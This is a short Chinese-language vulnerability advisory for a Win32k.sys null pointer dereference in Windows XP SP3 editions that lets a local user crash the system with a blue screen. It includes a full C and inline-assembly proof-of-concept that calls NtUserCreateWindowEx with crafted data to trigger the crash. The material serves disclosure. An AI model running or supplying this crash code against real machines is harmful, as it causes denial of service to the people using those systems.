漏洞起因
异常条件处理失败错误
危险等级
低
影响系统
Microsoft Windows XP Tablet PC Edition SP3
Microsoft Windows XP Service Pack 3 0
Microsoft Windows XP Professional x64 Edition SP3
Microsoft Windows XP Professional SP3
Microsoft Windows XP Media Center Edition SP3
Microsoft Windows XP Home SP3
Microsoft Windows XP Embedded SP3
不受影响系统
危害
本地攻击者可以利用漏洞使系统崩溃。
攻击所需条件
攻击者必须访问Microsoft Windows。
漏洞信息
Microsoft Windows是一款流行的操作系统。
Microsoft Windows内核’Win32k.sys’驱动存在安全漏洞可触发空指针引用,本地攻击者可以利用此漏洞使系统触发BSOD。
测试方法
#include <Windows.h> #include <stdio.h> void NtUserCreateWindowEx(HANDLE d1,int d2,int d3) { _asm{ xor eax,eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push d3 push d2 push d1 push eax mov eax,0x1157 mov edx,7FFE0300h call dword ptr[edx] ret 0x3c } } void main() { UINT i=0; UINT c[]={ 0x00000000,0x28001500,0xff7c98cc,0x23ffffff ,0x167c98cc,0x007c98fb,0x02001500,0x78010000 ,0x00000000,0x00001500,0x00000000,0x00001500 ,0x00000000,0x00001500,0x00000000,0x00000000 ,0x00000000,0x00000000,0x34000000,0x3cc00000 ,0x5c0007fb,0x617c92f6,0x347c92f6,0x00c00000 ,0x00000000,0x18000000,0x000007fb,0xf8000000 ,0x200007fd,0x347c92e9,0x02c00000,0x4c000000 }; HWND _wnd = CreateWindowEx(WS_EX_TOPMOST, "magic", "magic", WS_POPUP, 100, 100, 100, 100, 0, 0, GetModuleHandle( 0 ), 0); NtUserCreateWindowEx(_wnd,0x26,(UINT)c); }
厂商解决方案
目前没有详细解决方案提供:
http://www.microsoft.com/windows/default.mspx
评论关闭。